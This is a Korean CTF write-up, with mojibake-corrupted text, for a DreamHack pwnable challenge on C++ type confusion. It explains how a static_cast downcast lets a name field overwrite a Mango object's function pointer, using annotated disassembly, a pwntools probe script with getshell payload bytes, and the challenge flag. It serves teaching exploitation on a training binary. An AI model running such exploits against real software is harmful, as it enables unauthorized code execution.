๋ฌธ์ : DreamHack โ cpp_type_confusion ๋ถ๋ฅ: pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{4a969c04516654df9984f8aab2db7309}
C++ ๋ก ์ง ์ฌ๊ณผยท๋ง๊ณ ๊ฐ๊ฒ๋ค. ์ฌ๊ณผ๋ฅผ ๋ง๋ค๊ณ , ๋ง๊ณ ๋ฅผ ๋ง๋ค๊ณ , ๋์ ์์ด "์ ํ๋ง๊ณ "์ ์ด๋ฆ์ ๋ถ์ด๊ณ , ๋จน๋๋ค. ์์ค๊ฐ ํต์งธ๋ก ์ฃผ์ด์ง๊ณ ๊ธธ์ด๋ 160์ค์ด ์ ๋๋ค.
์ทจ์ฝ์ ์ ๋ฑ ํ ์ค์ ์๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ ํ ์ค์ด ์ ์ํํ์ง๋ C++ ๊ฐ์ฒด๊ฐ ๋ฉ๋ชจ๋ฆฌ์ ์ด๋ป๊ฒ ๋์ด๋์ง๋ฅผ ์์์ผ ๋ณด์ธ๋ค. ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ ์๋๊ณ free ํ ์ฌ์ฌ์ฉ๋ ์๋๋ค. ๊ฒฝ๊ณ ๋ฐ์ผ๋ก ๋๊ฐ ๋ฐ์ดํธ๊ฐ ํ๋๋ ์๋๋ฐ ํจ์ ํฌ์ธํฐ๊ฐ ๋ฐ๋๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | cpp_type_confusion |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | pwnable |
| ์ ๊ณต ํ์ผ | cpp_type_confusion(ELF 64-bit), cpp_type_confusion.cpp(์ ์ฒด ์์ค) |
| ์๋ฒ | host3.dreamhack.games:18869 (์ฐ๊ฒฐ๋ง๋ค ํฌํธ๊ฐ ๋ค๋ฅด๋ค) |
| ํ๊ฒฝ | Ubuntu 16.04.6 LTS ยท amd64 |
| ๋ณดํธ ๊ธฐ๋ฒ | Partial RELRO ยท Canary ยท NX ยท No PIE |
| ํต์ฌ ์ทจ์ฝ์ | static_cast ๋ค์ด์บ์คํธ๋ก ์๊ธด ํ์
์ปจํจ์ โ ํจ์ ํฌ์ธํฐ ๋ฉค๋ฒ ๋ฎ์ด์ฐ๊ธฐ |
ํ์ด๋ ์ธ ๊ฑธ์์ด๋ฉด ๋๋๋ค. Apple ๊ณผ Mango ๋ฅผ ํ๋์ฉ ๋ง๋ค์ด 3๋ฒ ๋ฉ๋ด์ ๊ด๋ฌธ์ ์ด๊ณ , ์ด๋ฆ ์นธ์ getshell() ์ฃผ์ 3๋ฐ์ดํธ๋ฅผ ๋ฃ์ด Mango ๊ฐ์ฒด์ ํจ์ ํฌ์ธํฐ๋ฅผ ๋ฎ๊ณ , 4๋ฒ์์ ๊ทธ ๊ฐ์ฒด์ ๊ฐ์ ํจ์๋ฅผ ๋ถ๋ฅธ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
๋ฐฐํฌ๋ณธ์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ๋๋ฟ์ด๋ค.
ls -l extracted && file extracted/cpp_type_confusion
for GNU/Linux 2.6.32 ๋ผ๋ ํ๊ธฐ๊ฐ ๋ถ์ด ์๋ ๊ฑธ ๋ณด๋ฉด ๊ฝค ์ค๋๋ ํด์ฒด์ธ์ด๋ค. ๋ฌธ์ ์ค๋ช
์ Ubuntu 16.04 ์ ๋ง๋๋ค.
๋ณดํธ ๊ธฐ๋ฒ๋ถํฐ ๋ณธ๋ค.
pwn checksec extracted/cpp_type_confusion
Canary ์ NX ๋ ์ผ์ ธ ์๋ค. ์คํ์ ๋ฐ์ด์ ๋ฆฌํด ์ฃผ์๋ฅผ ๊ฐ์์๋ ๊ทธ๋ฆผ์ ์๋๋ผ๋ ๋ป์ด๋ค.
๋์ PIE ๊ฐ ๊บผ์ ธ ์๋ค. ์ฝ๋๊ฐ ํญ์ 0x400000 ๋ถํฐ ์ฌ๋ผ๊ฐ๋๊น, ๋ฐ์ด๋๋ฆฌ์ ์๋ ํจ์ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ํ๋์ฝ๋ฉํ ์ ์๋ค. ์ฃผ์๋ฅผ ํ๋ฆฌ๋ ๋จ๊ณ๊ฐ ํต์งธ๋ก ์ฌ๋ผ์ง๋ค.
์์ค์์ ์์ํ ์ค๋ง ๊ณจ๋ผ๋ด๊ธฐ
์์ค๊ฐ ํต์งธ๋ก ์์ผ๋ ๋์ผ๋ก ์ฝ์ด๋ ๋์ง๋ง, ์ด๋ฆ์ด ๊ฒน์น๋ ๋ฉค๋ฒ๊ฐ ์๋์ง๋ถํฐ ํ๋ ๊ฒ ๋น ๋ฅด๋ค.
grep -n "description\|static_cast\|strncpy" extracted/cpp_type_confusion.cpp
์ฌ๊ธฐ์ ์ด๋ฏธ ๊ทธ๋ฆผ์ด ๊ฑฐ์ ๋์จ๋ค. description ์ด๋ผ๋ ์ด๋ฆ์ด 69๋ฒ ์ค์์๋ char description[8], 86๋ฒ ์ค์์๋ void (*description)(void) ๋ก ๋ ๋ฒ ์ ์ธ๋ผ ์๋ค. ์๋ก ๋ค๋ฅธ ํด๋์ค์ ๋ฉค๋ฒ์ธ๋ฐ ์ด๋ฆ์ด ๊ฐ๋ค.
๊ทธ๋ฆฌ๊ณ 114๋ฒ ์ค์ static_cast, 117๋ฒ ์ค์ strncpy ๊ฐ ๋๋ํ ์๋ค.
๋ ํด๋์ค
๋ฌธ์ ๊ฐ ๋๋ ๋ ํด๋์ค๋ฅผ ๊ทธ๋๋ก ์ฎ๊ธฐ๋ฉด ์ด๋ ๋ค.
class Base{
public:
virtual void yum(){
}
};
class Apple : public Base{
public:
virtual void yum(){
std::cout << description << std::endl;
}
Apple(){
strcpy(description, "Appleyum\x00");
appleflag = 1;
};
~Apple(){
appleflag = 0;
}
char description[8];
};
class Mango : public Base{
public:
virtual void yum(){
description();
}
Mango(){
description = mangohi;
mangoflag = 1;
};
~Mango(){
mangoflag = 0;
}
void (*description)(void);
};๋ ๋ค Base ๋ฅผ ์์ํ๊ณ , ๋ ๋ค ๊ฐ์ ํจ์ yum() ํ๋๋ฅผ ์ฌ์ ์ํ๊ณ , ๋ ๋ค description ์ด๋ผ๋ ๋ฉค๋ฒ ํ๋๋ฅผ ๊ฐ๋๋ค. ์์ ๊ตฌ์กฐ๊ฐ ๊ฐ์ผ๋ ๋ฉค๋ฒ๊ฐ ๋์ด๋ ์คํ์
๋ ๊ฐ๋ค. Apple ์ char[8] ๊ณผ Mango ์ ํจ์ ํฌ์ธํฐ๋ ๊ฐ์ฒด ์์์ ์ ํํ ๊ฐ์ ์๋ฆฌ๋ฅผ ์ฐจ์งํ๋ค.
Apple::yum() ์ ๊ทธ ์๋ฆฌ๋ฅผ ๋ฌธ์์ด๋ก ์ฝ์ด ์ถ๋ ฅํ๊ณ , Mango::yum() ์ ๊ทธ ์๋ฆฌ์ ๋ ๊ฐ์ ํจ์ ์ฃผ์๋ก ๋ณด๊ณ ํธ์ถํ๋ค.
main ์ ๋ฉ๋ด
case 3:
if(appleflag && mangoflag){
applemangoflag = 1;
mixer = static_cast<Apple*>(mango);
std::cout << "Applemango name: ";
std::cin >> applemangoname;
strncpy(mixer->description, applemangoname.c_str(), 8);
std::cout << "Applemango Created!" << std::endl;
} else if(appleflag == 0 && mangoflag == 0){mango ๋ Base* ์ด๊ณ ์ค์ ๋ก๋ new Mango() ๋ก ๋ง๋ ๊ฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํจ๋ค. ๊ทธ๊ฑธ static_cast<Apple*> ๋ก ๋ด๋ ค์ฐ์ด mixer ์ ๋ด๊ณ , mixer->description ์ ์ฌ์ฉ์ ์
๋ ฅ 8๋ฐ์ดํธ๋ฅผ ๋ณต์ฌํ๋ค.
mixer ๋ Apple ์ด๋ผ๊ณ ์ฃผ์ฅํ์ง๋ง ๊ทธ ์๋ฆฌ์ ์๋ ๋ฌผ๊ฑด์ Mango ๋ค. ์ปดํ์ผ๋ฌ๋ mixer->description ์ Apple ์ ๋ ์ด์์๋๋ก ๊ณ์ฐํ๋ค โ ๊ฐ์ฒด ์์ + 8, ํฌ๊ธฐ 8, ํ์
char[8]. ๊ทธ๋ฐ๋ฐ ๊ทธ 8๋ฐ์ดํธ๋ Mango ์ ํจ์ ํฌ์ธํฐ๋ค.
์ฌ๋ณผ ํ์ธ
๋ ธ๋ฆด ํจ์๊ฐ ์๋์ง ๋ณธ๋ค.
nm -C --defined-only extracted/cpp_type_confusion | grep -E "getshell|yum|vtable for (Apple|Mango|Base)|hi\(\)|flag$" | sort
getshell() ์ด 0x400fa6 ์ ๊ทธ๋๋ก ์๋ค. ์์ค์๋ ์๋ ๊ทธ ํจ์๋ค.
void getshell(){
system("/bin/sh");
}๋ฉ๋ด ์ด๋์์๋ ๋ถ๋ฅด์ง ์๋ ํจ์๋ค. PIE ๊ฐ ๊บผ์ ธ ์์ผ๋ ์ด ์ฃผ์๋ ์คํํ ๋๋ง๋ค ๊ฐ๋ค. ๋ชฉ์ ์ง๋ ์ ํด์ก๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ C++ ๊ฐ์ฒด๋ ๋ฉ๋ชจ๋ฆฌ์์ ์ด๋ป๊ฒ ์๊ฒผ๋
์ด ๋ฌธ์ ๋ฅผ ์ดํดํ๋ ค๋ฉด ๋ ๊ฐ์ง๋ง ์๋ฉด ๋๋ค.
์ฒซ์งธ, ๊ฐ์ ํจ์๊ฐ ํ๋๋ผ๋ ์๋ ํด๋์ค์ ๊ฐ์ฒด๋ ๋งจ ์ 8๋ฐ์ดํธ๊ฐ vptr ์ด๋ค. ๋ฉค๋ฒ ๋ณ์๊ฐ ์๋๋ผ ์ปดํ์ผ๋ฌ๊ฐ ๋ชฐ๋ ๋ฃ๋ ํฌ์ธํฐ๋ก, ๊ทธ ํด๋์ค์ ๊ฐ์ ํจ์ ํ
์ด๋ธ(vtable)์ ๊ฐ๋ฆฌํจ๋ค. ๋ฉค๋ฒ ๋ณ์๋ ๊ทธ ๋ค๋ถํฐ ๋์ธ๋ค. ๊ทธ๋์ Apple ์ description[8] ๋, Mango ์ description ํจ์ ํฌ์ธํฐ๋ ๊ฐ์ฒด ์์ + 8 ์ ์๋๋ค.
๋์งธ, mango->yum() ๊ฐ์ ๊ฐ์ ํจ์ ํธ์ถ์ ์ ์ ์ผ๋ก ๋ชฉ์ ์ง๊ฐ ์ ํด์ง์ง ์๋๋ค. ํฌ์ธํฐ์ ์ ์ธ ํ์
(Base*)์ด ์๋๋ผ ๊ฐ์ฒด ์ vptr ์ด ๊ฐ๋ฆฌํค๋ ํ
์ด๋ธ์ ๋ณด๊ณ ๊ทธ๋๊ทธ๋ ๋ด๋ค.
๋ฐ์ด๋๋ฆฌ์์ ์ค์ ๋ก ํ์ธํด ๋ณธ๋ค. vtable ์ .rodata ์ ์์๋ก ๋ฐํ ์๋ค.
objdump -s -j .rodata --start-address=0x401858 --stop-address=0x401890 extracted/cpp_type_confusion | tail -n +4; gdb -q -batch -ex "x/a 0x401868" -ex "x/a 0x401880" extracted/cpp_type_confusion
Mango ์ vtable ์ 0x401858 ์์ ์์ํด offset-to-top(0) ยท typeinfo(0x4018a0) ยท ์ฒซ ๊ฐ์ ํจ์ ์ฌ๋กฏ(0x4015b8 = Mango::yum()) ์์ผ๋ก ๋์ฌ ์๋ค. ๊ฐ์ฒด์ vptr ์ ๋ค์ด๊ฐ๋ ๊ฐ์ ํ
์ด๋ธ ์์์ด ์๋๋ผ ํจ์ ์ฌ๋กฏ์ด ์์ํ๋ 0x401868 ์ด๋ค. Apple ์ชฝ๋ ๋๊ฐ์ ๋ชจ์์ผ๋ก 0x401880 ์ด๋ค.
gdb ์ x/a ๊ฐ ๊ทธ ๋ ์ฃผ์๋ฅผ ๊ฐ๊ฐ Mango::yum ๊ณผ Apple::yum ์ผ๋ก ํ์ด ์ค๋ค.
static_cast ๊ฐ ํ๋ ์ผ๊ณผ ์ ํ๋ ์ผ
static_cast<Apple*>(mango) ๋ ์ปดํ์ผ ์์ ์ ์์ ๊ด๊ณ๋ง ํ์ธํ๋ค. Apple ๊ณผ Mango ๋ ๋ ๋ค Base ๋ฅผ ์์ํ๋, Base* ๋ฅผ Apple* ๋ก ๋ด๋ ค์ฐ๋ ๊ฒ ์์ฒด๋ ๋ฌธ๋ฒ์ ์ผ๋ก ํฉ๋ฒ์ด๋ค. ๋จ์ผ ์์์ด๋ผ ์ฃผ์ ๋ณด์ ๋ ํ์ ์์ด์, ๊ธฐ๊ณ์ด๋ก๋ ๊ทธ๋ฅ ํฌ์ธํฐ ๋ณต์ฌ ํ ์ค์ด ๋๋ค.
๋ฐํ์์ "์ด๊ฒ ์ ๋ง Apple ์ธ๊ฐ"๋ฅผ ํ์ธํ๋ ์ฝ๋๋ ํ ์ค๋ ์๊ธฐ์ง ์๋๋ค. ๊ทธ ํ์ธ์ ํ๋ ๊ฑด dynamic_cast ๋ค. dynamic_cast<Apple*>(mango) ์๋ค๋ฉด vtable ์์ ๋ถ์ด ์๋ typeinfo ๋ฅผ ๋ณด๊ณ ์คํจํด์ nullptr ์ ๋๋ ค์คฌ์ ๊ฒ์ด๊ณ , ๋ค์ ์ค strncpy ์์ ๋ ์ญ์ฐธ์กฐ๋ก ์ฃฝ์์ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฉด ์ด ๋ฌธ์ ๋ ์ฑ๋ฆฝํ์ง ์๋๋ค.
static_cast ๋ "๋ด๊ฐ ํ์ธํ์ผ๋ ๋ฏฟ์ด๋ผ"๋ผ๋ ๋ป์ ์บ์คํธ๋ค. ์ฌ๊ธฐ์๋ ๊ทธ ๋ง์ด ๊ฑฐ์ง์ด๋ค.
| ์บ์คํธ | ๋ฐํ์ ๊ฒ์ฌ | ์คํจํ๋ฉด | ๊ธฐ๊ณ์ด ๋น์ฉ |
|---|---|---|---|
static_cast<Apple*> | ์์ | ์กฐ์ฉํ ์๋ชป๋ ํฌ์ธํฐ | mov ๋ ์ค |
dynamic_cast<Apple*> | typeinfo ๋์กฐ | nullptr ๋ฐํ | ๋ฐํ์ ํจ์ ํธ์ถ |
reinterpret_cast<Apple*> | ์์ | ์กฐ์ฉํ ์๋ชป๋ ํฌ์ธํฐ | ์์ |
์ธ ์บ์คํธ ์ค ์ด ์ํฉ์์ ์ฌ๊ณ ๋ฅผ ๋ง์ ์ฃผ๋ ๊ฑด ํ๋๋ฟ์ด๋ค. ๊ทธ๋ฆฌ๊ณ dynamic_cast ๊ฐ ๊ฒ์ฌ์ ์ฐ๋ typeinfo ๋ ๋ฐฉ๊ธ ๋คํํ vtable ๋ฐ๋ก ์ ์ฌ๋กฏ์ ์ด๋ฏธ ๋ค์ด ์๋ค โ ์ ๋ณด๊ฐ ์์ด์ ๋ชป ๋ง์ ๊ฒ ์๋๋ผ, ํ์ธํ๋ ์ฝ๋๋ฅผ ์ ๋ฃ์ ๊ฒ์ด๋ค.
๐ฃ ํต์ฌ โ +8 ํ ์นธ์ ๋ ํด๋์ค๊ฐ ๋ค๋ฅด๊ฒ ์ฝ๋๋ค
๋ง๋ก๋ง ํ๋ฉด ํท๊ฐ๋ฆฌ๋ ๊ธฐ๊ณ์ด๋ฅผ ๋ณด์. ๋จผ์ 3๋ฒ ๋ฉ๋ด(Mix)๋ค.
objdump -d --no-show-raw-insn -M intel -C extracted/cpp_type_confusion --start-address=0x401213 --stop-address=0x401284 | sed -f annot_mix.sed | tail -n +7์ฃผ์์ annot_mix.sed ๋ก objdump ์ถ๋ ฅ ์์ ์น์๋ค. ์ค์ ์ถ๋ ฅ ๊ทธ๋๋ก์ ์ค๋ช
๋ง ๋ถ์ธ ๊ฒ์ด๋ค.
s|^ 401213:.*|& <-- appleflag ๊ฒ์ฌ|
s|^ 401221:.*|& <-- mangoflag ๊ฒ์ฌ|
s|^ 40122b:.*|& <-- applemangoflag = 1|
s|^ 401235:.*|& <-- rbp-0x50 = mango (Base*)|
s|^ 401239:.*|& <-- rbp-0x48 = mixer (Apple*) : static_cast ๋ ํฌ์ธํฐ ๋ณต์ฌ ํ ์ค|
s|^ 401258:.*|& <-- std::cin >> applemangoname|
s|^ 401270:.*|& <-- \&mixer->description = ๊ฐ์ฒด+8|
s|^ 401274:.*|& <-- n = 8|
s|^ 40127f:.*|& <-- ํจ์ ํฌ์ธํฐ ์๋ฆฌ์ 8๋ฐ์ดํธ ๋ณต์ฌ|
static_cast ์๋ฆฌ๋ฅผ ๋ณด๋ฉด ์ ๋ง ์๋ฌด๊ฒ๋ ์๋ค.
401235: mov rax, QWORD PTR [rbp-0x50] ; mango (Base*)
401239: mov QWORD PTR [rbp-0x48], rax ; mixer (Apple*)์ฝ์ด์ ๋ค๋ฅธ ์นธ์ ์ด๋ค. ๊ฒ์ฌ๋, ๋ณด์ ๋, ์์ธ๋ ์๋ค. ์ด๊ฒ static_cast ๋ค.
๊ทธ๋ฆฌ๊ณ strncpy ํธ์ถ ์ง์ ์ ์ธ์๊ฐ ์ด๋ ๊ฒ ์ค๋น๋๋ค.
40126c: mov rax, QWORD PTR [rbp-0x48] ; mixer
401270: add rax, 0x8 ; &mixer->description
401274: mov edx, 0x8 ; n = 8
40127f: call 400e30 <strncpy@plt>add rax, 0x8 ์ด ์ ๋ถ๋ค. Apple ์ description ์ด ๊ฐ์ฒด ์์ + 8 ์ด๋ผ๋ ๊ฑธ ์ปดํ์ผ๋ฌ๊ฐ ๊ณ์ฐํด ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ ๊ฐ์ฒด๋ Mango ๋ค.
๊ฐ์ +8, ์ ๋ฐ๋์ ํด์
๋ yum() ์ ๋๋ํ ๋์ผ๋ฉด ์ด ๋ฌธ์ ์ ์ ๋ถ๊ฐ ๋ณด์ธ๋ค.
for R in 401524:401556 4015b8:4015d1; do objdump -d --no-show-raw-insn -M intel -C extracted/cpp_type_confusion --start-address=0x${R%:*} --stop-address=0x${R#*:} | tail -n +7 | sed -f annot_yum.sed; dones|^ 401530:.*|& <-- rax = this|
s|^ 401534:.*|& <-- this+8 ์ ์ฃผ์๋ฅผ ๊ณ์ฐ (char[8] ์ ์ฒซ ์นธ)|
s|^ 40153b:.*|& <-- ๊ทธ ์ฃผ์๋ฅผ char* ๋ก ๋๊ฒจ ์ถ๋ ฅ|
s|^ 4015c4:.*|& <-- rax = this|
s|^ 4015c8:.*|& <-- this+8 ์ ๋ ๊ฐ์ ์ฝ๋๋ค (void(*)())|
s|^ 4015cc:.*|& <-- ์ฝ์ ๊ฐ์ผ๋ก ๋ฐ๋ก ์ ํ|
๋ช ๋ น ํ๋ ์ฐจ์ด๋ค.
; Apple::yum()
401534: add rax, 0x8 ; this+8 ์ด๋ผ๋ "์ฃผ์"
401538: mov rsi, rax ; char* ๋ก ๋๊ธด๋ค
; Mango::yum()
4015c8: mov rax, QWORD PTR [rax+0x8] ; this+8 ์ ๋ "๊ฐ"
4015cc: call rax ; ๊ทธ ๊ฐ์ผ๋ก ์ ํadd ๋ mov [ ] ๋. ์ฃผ์๋ฅผ ์ฐ๋๋, ๊ทธ ์๋ฆฌ์ ๋ ๊ฐ์ ์ฐ๋๋. ์ธ ๋๋ Apple ์ ๋(์ฃผ์๋ฅผ ์ก์ ๋ฐ์ดํธ๋ฅผ ์ฑ์ด๋ค), ์ฝ์ ๋๋ Mango ์ ๋(๊ฐ์ ํจ์๋ก ๋ณธ๋ค). ์ด ๋ ์์ ์ด ํ ๊ฐ์ฒด์์ ๋ง๋๋ ๊ฒ ํ์
์ปจํจ์ ์ด๋ค.

๊ฒฝ๊ณ๋ฅผ ๋์ ๋ฐ์ดํธ๋ ํ๋๋ ์๋ค. strncpy ๋ ์๊ธฐ๊ฐ ๋ฐ์ 8๋ฐ์ดํธ ๋ฒํผ์ ์ ํํ 8๋ฐ์ดํธ๋ง ์ด๋ค. ๋ฒ๊ทธ๋ "์ผ๋ง๋ ์ผ๋"๊ฐ ์๋๋ผ "๋ฌด์์๋ค ์ผ๋"์ ์๋ค. ๊ทธ๋์ canary ๋, NX ๋, RELRO ๋ ์ด ๊ณต๊ฒฉ์ ๋ชป ๋ง๋๋ค. ์
๋ค ๋ค๋ฅธ ์ข
๋ฅ์ ์ฌ๊ณ ๋ฅผ ๋ง๋ ์ฅ์น๋ค.
๐ฏ ์ ์ฝ ์ธ ๊ฐ์ง โ ๋ฌด์์ ์ธ ์ ์๋
๋ชฉ์ ์ง๋ getshell() = 0x400fa6 ๋ก ์ ํด์ก๋ค. ์ด์ ๊ทธ 8๋ฐ์ดํธ๋ฅผ ์ค์ ๋ก ๊ทธ ๊ฐ์ผ๋ก ๋ง๋ค ์ ์๋์ง ํ์ธํ ์ฐจ๋ก๋ค. ์ ์ฝ์ด ์ธ ๊ฐ ์๋ค.
1. ๊ด๋ฌธ โ Apple ๊ณผ Mango ๊ฐ ๋ ๋ค ์์ด์ผ ํ๋ค
3๋ฒ ๋ฉ๋ด๋ if(appleflag && mangoflag) ๋ก ๋งํ ์๋ค. ๋ ํ๋๊ทธ๋ ๊ฐ ์์ฑ์์์ 1 ์ด ๋๊ณ ์๋ฉธ์์์ 0 ์ด ๋๋ค. ์ฆ Apple ์ ํ ๋ฒ ๋ง๋ค์ด ๋์ง ์์ผ๋ฉด 3๋ฒ์ด ์์ ์ ์ด๋ฆฐ๋ค.
Apple ๊ฐ์ฒด ์์ฒด๋ ๊ณต๊ฒฉ์ ์ฐ์ด์ง ์๋๋ค. ๊ด๋ฌธ์ ์ฌ๋ ์ฉ๋๋ก๋ง ํ์ํ๋ค.
2. std::cin >> ๋ ๊ณต๋ฐฑ์์ ๋๊ธด๋ค
์ด๋ฆ์ std::cin >> applemangoname ์ผ๋ก ๋ฐ๋๋ค. operator>> ๋ ์์ชฝ ๊ณต๋ฐฑ์ ๊ฑด๋๋ฐ๊ณ , ๋ค์ ๊ณต๋ฐฑ์ ๋ง๋๋ ์๊ฐ ์ฝ๊ธฐ๋ฅผ ๋ฉ์ถ๋ค. ์ฌ๊ธฐ์ ๊ณต๋ฐฑ์ ์คํ์ด์ค(0x20)์ 0x09~0x0d ๋ค.
์ฐ๋ฆฌ๊ฐ ๋ฃ์ ๋ฐ์ดํธ๋ a6 0f 40 ์ด๋ค. 0x0f ๋ 0x09~0x0d ๋ฒ์ ๋ฐ์ด๊ณ ๋๋จธ์ง๋ ์์ ํ๋ค. ์ด์ด ์ข์๋ค โ getshell ์ด 0x400f20 ๊ฐ์ ์ฃผ์์๋ค๋ฉด ์คํ์ด์ค๊ฐ ๋ผ์ด ์ด ๊ฒฝ๋ก๊ฐ ๋งํ์ ๊ฒ์ด๋ค.
3. strncpy ์ NUL ํจ๋ฉ์ด ๋๋จธ์ง 5๋ฐ์ดํธ๋ฅผ ์ฑ์ด๋ค
์ฃผ์๋ 8๋ฐ์ดํธ์ธ๋ฐ ์๋ฏธ ์๋ ๊ฐ์ 3๋ฐ์ดํธ๋ฟ์ด๋ค. ๋๋จธ์ง 5๋ฐ์ดํธ๋ฅผ 0 ์ผ๋ก ๋ง๋ค์ด์ผ 0x0000000000400fa6 ์ด ๋๋ค. NUL ๋ฐ์ดํธ๋ ํค๋ณด๋๋ก ๋ชป ๋ฃ๋๋ค.
๊ทธ๋ด ํ์๊ฐ ์๋ค. strncpy(dst, src, n) ์ ์์ค๊ฐ n ๋ณด๋ค ์งง์ผ๋ฉด ๋จ์ ์๋ฆฌ๋ฅผ ์ ๋ถ \0 ์ผ๋ก ์ฑ์ด๋ค. strcpy ์ ๋ค๋ฅธ ์ ์ด์, ํํ "์์ ํ ๋ฒ์ "์ผ๋ก ์คํด๋ฐ๋ ์ง์ ์ด๋ค. ์ฌ๊ธฐ์๋ ๊ทธ ํจ๋ฉ์ด ๊ณต๊ฒฉ์ ํธ์ ์ ๋ค.
๋ง๋ก ๋๋ด์ง ๋ง๊ณ ํ์ธํ๋ค.
// pad_check.c โ strncpy ๊ฐ ๋จ๋ ์๋ฆฌ๋ฅผ ์ ๋ง 0 ์ผ๋ก ์ฑ์ฐ๋์ง ๋์ผ๋ก ๋ณธ๋ค.
// gcc -o pad_check pad_check.c && ./pad_check
#include <stdio.h>
#include <string.h>
int main(void) {
unsigned char buf[8];
memset(buf, 0xff, sizeof buf); // ์ผ๋ถ๋ฌ ์ฐ๋ ๊ธฐ๋ฅผ ๊น์ ๋๊ณ
strncpy((char *)buf, "\xa6\x0f\x40", 8); // 3๋ฐ์ดํธ์ง๋ฆฌ ์์ค๋ฅผ n=8 ๋ก ๋ณต์ฌ
printf("buf =");
for (int i = 0; i < 8; i++) printf(" %02x", buf[i]);
printf("\nํจ์ ํฌ์ธํฐ๋ก ์ฝ์ผ๋ฉด %p\n", *(void **)buf);
return 0;
}gcc -o pad_check pad_check.c && ./pad_check
0xff ๋ก ๋ฏธ๋ฆฌ ๋๋ฝํ ๋ ์๋ฆฌ๊ฐ ๊นจ๋ํ๊ฒ 0 ์ด ๋๋ค. 3๋ฐ์ดํธ๋ง ๋ณด๋ด๋ฉด ํฌ์ธํฐ 8๋ฐ์ดํธ๊ฐ ์ ํํ ์์ฑ๋๋ค.
์ง์ ์ฐ๋ฌ ๋ณด๊ธฐ
์ธ ์ ์ฝ๊ณผ ๋ช ๊ฐ์ง ๊ถ๊ธํ ์ ์ ํ ๋ฒ์ ํ์ธํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์งฐ๋ค.
#!/usr/bin/env python3
# probe.py โ 3๋ฒ(Mix) ์ด ์ด๋ฆฌ๋ ์กฐ๊ฑด๊ณผ ์ด๋ฆ ์นธ์ ์ ์ฝ์ ํ๋์ฉ ์ฐ๋ฌ ๋ณธ๋ค.
from pwn import context, process
context.log_level = "error"
HERE = __file__.rsplit("/", 1)[0]
BIN = (HERE + "/extracted/cpp_type_confusion").encode()
CWD = HERE + "/extracted"
# ๋ฉ๋ด๊ฐ ๋งค ๋ฃจํ ๋ค์ ์ฐํ์ ์๋๋ฌ์ฐ๋ ๊ฒฐ๊ณผ ์ค๋ง ๋จ๊ธด๋ค
NOISE = ("I love Applemango", "1. Make apple", "2. Make mango",
"3. Mix apple, mango", "4. Eat", "5. Exit program")
def run(label, script, feed=b""):
"""script = [(๋ณด๋ผ ๊ฒ, ๊ธฐ๋ค๋ฆด ํ๋กฌํํธ), ...] ๋ฅผ ์์๋๋ก ํ๋ ค๋ณด๋ธ๋ค."""
p = process(BIN, cwd=CWD)
buf, died = "", False
try:
for data, prompt in script:
buf += p.recvuntil(prompt.encode(), timeout=2).decode(errors="replace")
p.send(data)
if feed:
p.send(feed)
except EOFError:
died = True # ํ๋ก๊ทธ๋จ์ด ๋จผ์ ๋๋ ๋ฒ๋ฆฐ ๊ฒฝ์ฐ
buf += p.recvrepeat(1.0).decode(errors="replace")
p.close()
lines = [l for l in buf.splitlines() if l.strip() and not l.startswith(NOISE)]
print(f"[{label}]")
for l in lines[-3:]:
print(" ", l)
if died:
print(" ^ ํ๋ก๊ทธ๋จ์ด ์
๋ ฅ ๋์ค ์ค์ค๋ก ์ข
๋ฃํ๋ค")
print()
SEL = "[*] Select : "
run("A. ์๋ฌด๊ฒ๋ ์์ด 3๋ฒ", [(b"3\n", SEL)])
run("B. Apple ๋ง ๋ง๋ค๊ณ 3๋ฒ", [(b"1\n", SEL), (b"3\n", SEL)])
run("C. Mango ๋ง ๋ง๋ค๊ณ 3๋ฒ", [(b"2\n", SEL), (b"3\n", SEL)])
run("D. 1,2,3 ์์๋ก ๊ฐ๋ฉด ์ด๋ฆ ์นธ์ด ์ด๋ฆฐ๋ค",
[(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL)])
run("E. ์ด๋ฆ์ ๊ณต๋ฐฑ์ ์์ผ๋ฉด (AAAA BBBB)",
[(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL),
(b"AAAA BBBB\n", "Applemango name: "), (b"4\n", SEL), (b"2\n", SEL)])
run("F. getshell ์ฃผ์๋ฅผ ๋ฃ๊ณ 4-3(Applemango) ์ผ๋ก ํธ์ถ",
[(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL),
(b"\xa6\x0f\x40\n", "Applemango name: "), (b"4\n", SEL), (b"3\n", SEL)],
feed="echo ' -> ์
ธ์ด ๋ด๋ค (4-3 ๋ Mango::yum ์ผ๋ก ๊ฐ๋ค)'; exit\n".encode())python3 probe.py
AยทBยทC ๊ฐ ๊ด๋ฌธ์ ํ์ธํด ์ค๋ค. ์๋ฌด๊ฒ๋ ์์ผ๋ฉด You don't have anything!, ํ์ชฝ๋ง ์์ผ๋ฉด ์๋ ์ชฝ์ ์ ํํ ์ง์ด ์ค๋ค.
F ๊ฐ ์ฌ๋ฏธ์๋ค. 4๋ฒ ๋ฉ๋ด์ 3๋ฒ(Applemango) ์ ๊ณจ๋ผ๋ ์
ธ์ด ๋ฌ๋ค. mixer ๋ Apple* ์ด๋ mixer->yum() ์ Apple::yum() ์ ๋ถ๋ฅผ ๊ฒ ๊ฐ์ง๋ง, yum() ์ ๊ฐ์ ํจ์๋ผ ๋ชฉ์ ์ง๋ ํฌ์ธํฐ ํ์
์ด ์๋๋ผ ๊ฐ์ฒด ์ vptr ์ด ์ ํ๋ค. ๊ทธ ๊ฐ์ฒด๋ new Mango() ๋ก ๋ง๋ค์์ผ๋ vptr ์ Mango ์ vtable ์ ๊ฐ๋ฆฌํค๊ณ , ๊ฒฐ๊ตญ Mango::yum() ์ผ๋ก ๊ฐ๋ค.
